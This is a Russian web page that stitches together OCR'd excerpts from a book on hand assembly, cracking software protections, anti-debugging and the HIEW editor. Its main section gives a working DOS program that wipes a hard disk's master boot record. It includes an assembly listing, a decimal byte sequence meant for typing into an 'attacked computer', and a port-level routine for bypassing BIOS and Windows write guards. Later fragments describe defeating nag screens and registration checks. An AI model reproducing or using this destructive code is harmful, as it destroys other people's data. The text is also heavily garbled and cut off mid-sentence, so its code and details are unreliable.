B90123 456789 - раздел Информатика, NAG SCREEN 1111 111111
Mov Dx, 0Х100+2+2 ; Oxloo-Адрес Загрузки, 2 Длина Mov Ан...
1111 111111
MOV DX, 0х100+2+2 ; OxlOO-адрес загрузки, 2 длина MOV АН, 9, 2 длина jmp
JMP SHORT $+20 — резервирует 20 символов для строки. Предполагается, что этого окажется достаточно (даже не уточняя, сколько символов в строке). Тот же прием может быть применен и по отношению к меткам, направленным вперед. Иными словами, опытный специалист может написать довольно сложную программу даже без карандаша и блокнота. Это действительно "высший пилотаж", требующий изрядного таланта и опыта, но, с другой стороны, он многократно повышает вашу власть над машиной. Насколько это нужно — решать вам. Сегодня, когда уже и структурные языки выходят из моды, такие трудоемкие "ручные" способы программирования вряд ли найдут много приверженцев.
В качестве иллюстрации попробуем создать маленькую программу, которая стирает загрузочный сектор. Заметим, что ее использование для умышленного уничтожения информации, равно как и для нарушения работы вычислительной системы, попадает под статью УК. Поэтому использовать ее можно только на собственной машине (или с явного согласия владельца) только в экспериментальных целях для проверки системы безопасности. Действительно, многие администраторы, удалившие ряд сервисных файлов и дисковод для гибких дисков, считают рабочую станцию на 100% защищенной от вредителей. Эта программа показывает, что последнее утверждение глубоко неверно.
Но перейдем к делу. Для начала освоим самый простой метод: компиляцию и перенос программы на бумагу, откуда не составит труда ввести ее на любой машине.
00000000: В80103 mov ax ,00301 ; Чтение одного сектора
Отметим, что в полученном дампе два раза встретился "запрещенный" (не вводимый с клавиатуры) символ #0, один раз #3 и один раз #19. Изменим программу так, чтобы избежать этого;
00000000; В80102 mov ax,00201 ;
00000003: FEC4 inc ah
00000005: B90101 mov ex,00101 ;
00000008: FECD dec ch
0000000A: 8AFE mov bh,dh
0000000C; B280 mov dl,080 ;
0000000E: BB0401 mov bx,00104 ;
00000011: FE4711 inc b, [bx] [00011]
00000014: CD12 int 012
00000016: СЗ retn
Теперь полученный дамп нужно перевести в десятичное исчисление. Для этого лучше всего воспользоваться специально написанной программой, которую нетрудно будет написать за несколько минут на любом подходящем языке.
«184 «001 »002 11254 «196 «185 «001 «001 «254
«205 «138 «254 «П8 «12B «187 «004 «001 «254
‘G' «ОП «205 «018 «195
Достаточно ввести эту последовательность в атакуемый компьютер, и у нас в руках будет мощное разрушительное оружие. Советую пользоваться им с крайней осторожностью.
К счастью, в BIOS-ax предусмотрен специальный сторож, который сигнализирует о попытке модификации главного загрузочного сектора. Точно так же может стоять специальное ПО, перехватывающее и блокирующее запись. Например, Windows 98 поступает именно так, и запуск данной программы под ее управлением не возымеет ожидаемого эффекта. Однако ничто не помешает нам в DOS-окне обратиться непосредственно к портам ввода-вывода и на низком уровне управлять контроллером винчестера.
Вообще-то программирование контроллеров к теме этой книги не относится (ему посвящены специальные руководства), но все же я привожу ниже пример процедуры, записывающей главный загрузочный сектор через порты ввода-вывода:
MOV DX, IF2h MOV AL, I OUT DX, fiL INC DX OUT DX, AL INC DX XOR AХ, AX OUT DX, AL INC DX OUT DX, AL HOV AL, IOIOOOOOB INC DX OUT DX, AL INC DX MOV AL, 30h OUT DX, AL LEA SI, Buffer MOV DX, iFOh MOV CX, 513 REP OUTSW
Мне не известна ни одна широко распространенная защита, которая могла бы отслеживать и блокировать такую запись. Впрочем, к Windows NT это не относится, и она не только не допустит прикладную программу к портам, но еще и закроет ее окно.
Подготовку этого приложения к вводу в компьютер с помощью ALT я перекладываю на плечи любознательных читателей, равно как и определенную оптимизацию по размеру. Не думаю, что это вызовет какие-то трудности.
Каждому предоставлена полная свобода выбора — или терпи Nag Screen...
Если Вам нужно дополнительный материал на эту тему, или Вы не нашли то, что искали, рекомендуем воспользоваться поиском по нашей базе работ:
B90123 456789
Что будем делать с полученным материалом:
Если этот материал оказался полезным ля Вас, Вы можете сохранить его на свою страничку в социальных сетях:
NAG SCREEN
Вероятно, до разработчиков защит наконец-то дошел тот малоприятный факт, что на языке высокого уровня чрезвычайно трудно создать что-нибудь устойчивое даже против кракера средней квалификации. Наве
SetTimer
18C Is Iconic
195 KillTimer
B7 EnableWindow
146 GetSystemMetrics
19E LoadIconA
Попробуем найти код, который вызывает SetTimer, для чего установим на пос
Ограничение возможностей
Многие незарегистрированные версии отличаются тем, что часть их возможностей заблокирована. Если программа предусматривает регистрацию, то обычно больших проблем при взломе не возникает. Совсем др
Text;004015CFp
jmp ds: ?EnableWindow@cwnd@@QREHH@z
j_?EnableWindow@cwnd@@QAEHH@z endp
Их всего два. Как раз по числу элементов управления. Пока защита не предвещает ничего необычного и ее код вы
Mov dwordptr [esi], offset off_0_4035C8
40139E mov eax, esi
4013A0 pop esi
4013AI retn
4013AI sub_0_401390 endp
Становится ясно, что sub_0_401440 — это виртуальная функция CDocu-ment::On3aveDocument()!
Ключевой файл
Настал черед рассмотреть и ключевые файлы. Обычно это самая сложная защита из всех вышеизложенных^ поскольку может сочетать в себе как мощную шифровку, так и недостающие фрагменты кода. Но именно
Способы затруднения анализа программ
Все методы взлома защитных механизмов (за исключением, возможно, криптографических) сводятся практически к двум моментам — локализации кода защиты в сотнях килобайт (мегабайт) кода приложения и ан
Приемы против отладчиков
Самым первым отладчиком под MS-DOS был Debug.com фирмы MicroSoft. Совершенно очевидно, что этот инструмент годился разве что для забавы и изучения ассемблера.
Но рынок не терпит пустого ме
Приемы против отладчиков реального режима
Чтобы понять, как противодействовать отладчикам реального режима, необходимо изучить сам процесс отладки. 8086 процессор предоставлял для этого одну команду, один флаг и две исключительные ситуаци
J E9 EC EF JMP F125
2298;0139j F2 REPNE
Полученный мусор может привести систему к краху, но едва ли будет нормально выполняться. При этом защитный механизм настолько "размазан" по коду, что обнаружи
Приемы против отладчиков защищенного режима
Позже появился 80286 (с точки зрения хакера мало чем отличавшийся от своего предшественника), а вслед за ним и 80386, принесший принципиально новые возможности отладки. Точнее, "принципиально
Технологии эмуляции процессора
На заре компьютерной истории, когда общение с майнфреймами велось исключительно на уровне машинных кодов, уже существовали эмуляторы. В первую очередь это было связано с необходимостью выполнять ко
Дизассемблирование в уме
"— Мне известны политические аргументы. — Но меня интересуют человеческие доводы." Ф. Херберт. "Мессия Дюны".
Очень часто под рукой не оказывается ни отладчика,
Структура команд INTEL 80х86
"— Потому ты и опасен, что ояладел своими страстями." Ф. Херберт. "Мессия Дюны".
Дизассемблирование (тем более в уме) невозможно без понимания того, как процессо
Add b, [00100],002
00000105: 00B406B2 add [si][OB206],dh
|
----------ip
Т.е. текущая команда станет на байт короче! И "отрезанный" ноль теперь — часть другой команды! Но при выпол
Есть базирование если 2bit=1 то 0 –BP, 1 - BX
если 3bit=0 то 0 –база BX, 1 – база BP
если 3bit=1 то 0 –индексный регистр 1 - базовый
Возможно, кому-то эта схема покажется витиеватой и трудной для запоминания, но зубрить все
В4 ОЭ БД 77 01 CD 21
Вот она! Но что представляет собой опкод ОхВА? Попробуем определить это in трем младшим битам. Они принадлежат регистру DL(DX). А ОхВ4 0х9 — это шоу АН,9. Теперь нетрудно догадаться, что оригинальн
F2 AC 02 EO E2 FB BE 3В 01 30 24 46 61
Чтобы превратить его в знаковое целое, необходимо дополнить его до нуля (операция NEG, которую большинство калькуляторов не поддерживают). Тот же результат мы получим, если отнимем от 0х100 указанн
Маленькие хитрости
"Главная часть дисциплинирующей выучки — это ее сокрытая часть, предназначенная не освобождать, но ограничивать." Ф. Херберт. "Еретики Дюны".
Хорошо, если в ваш
Х1 0х2 0х4 0х8 0х10 0х20 0х40 0х80
Причем все математические операции с такими круглыми числами делать^ уме на порядок проще, за что я и люблю шестнадцатиричную систему счисления. Разумеется, описанные приемы ни для кого не должны б
Ассемблирование в уме
"Ничто не превосходит по сложности человеческий ум." Ф. Херберт. "Еретики Дины".
Мы уже проделали титаническую работу, дизассемблировав в уме крохотный файл в п
Int 021
Дело в том, что указанным способом невозможно ввести с клавиатуры символ #8. А смещение строки как раз и есть 0х108. Чтобы избавиться от восьмерки, можно было бы, конечно, исполнить следующую после
Маска отображения файлов —*
Вообще навигатор очень напоминает Norton Commander, и общение с ним проблем вызвать не должно. На всякий случай я все же опишу назначение клавиш управления:
Alt-FI (Drive)
Text 00000452 |D:KPNCHIEWDEXEM.EXE
При этом кроме собственно имен сохранятся текущий режим и позиция курсора (что особенно приятно). Последнее позволяет использовать HIEW для чтения больших текстовых файлов (электронных книг, докуме
Ассемблер
"Убийство острием лишено артистизма. Но пусть тебя это не останавливает, если плоть, раскрываясь, сама себя предлагает."
Ф. Херберт. "Дюна".
Пере
Дизассемблер
Дизассемблер в HIEW великая вещь. фактически это основной режим работы хакера. Не то чтобы некоторые ленились дизассемблировать в уме hex-коды, (что, скажем, частенько приходится делать при работе
Adc dh,[si]
……………….. 00000104:xxxx
Разница в том, что ссылка во втором случае указывает "в космос", но никак не на переменную 0х4. Это можно исправить, указав HIEW-y вручную начальное
Adc dh, [si] <—
00000106: 0100 add [bx] [si], ax
00000108: E3F7FF call 000000102-------- (i)
И все ссылки при этом работают правильно. Заметим, что базирование никак не влияет на
Манипуляции с блоками
"Соединение невежества и знания, соединение дикости и культуры — не начинается ли оно с того чувства достоинства, с которым мы относимся к своей смерти?"
Ф. Хербер
Поддержка LE/PE/NE/LX/NLM-ФОРМАТОB
"Понятие прогресса, служит защитным механизмом, отгораживающим нас от ужасов будущего." Ф. Херберт. "Дюна".
Вообще-то шестнадцатиричный редактор идеологически д
Калькулятор
"Врагу, которым восхищаешься, легче вселить в тебя ужас" Ф. Херберт. "Дюна".
Необходимость встроенного калькулятора сегодня сомнений ни у кого не вызывает. Хакер
Калькулятор
"Врагу, которым восхищаешься, легче вселить в тебя ужас" Ф. Херберт. "Дюна".
Необходимость встроенного калькулятора сегодня сомнений ни у кого не вызывает. Хакер
Калькулятор
"Врагу, которым восхищаешься, легче вселить в тебя ужас" Ф. Херберт. "Дюна".
Необходимость встроенного калькулятора сегодня сомнений ни у кого не вызывает. Хакер
Крипт-система
"Не считай человека мертвым, пока не увидишь его тело. И даже тогда ты можешь ошибиться."
Ф. Херберт. "Дюна".
Уникальность HIEW-a прежде всего в том, чт
Описание файла HIEW.INI
"— Осторожность — важное качество для человека, который будет вождем." Ф. Херберт. "Дюна".
HIEW хранит часть настроек в ini-файле, который немного напоминает од
JumpTable]
Задает таблицу переходов по call/jmp в дизассемблере. По умолчанию она выглядит следующим образом: "0123456789ABCDEFGHIJKLMOPQRSTUVWXYZ". При этом первый символ — это клавиша отката, т.е.
Хотите получать на электронную почту самые свежие новости?
Подпишитесь на Нашу рассылку
Наша политика приватности обеспечивает 100% безопасность и анонимность Ваших E-Mail
Новости и инфо для студентов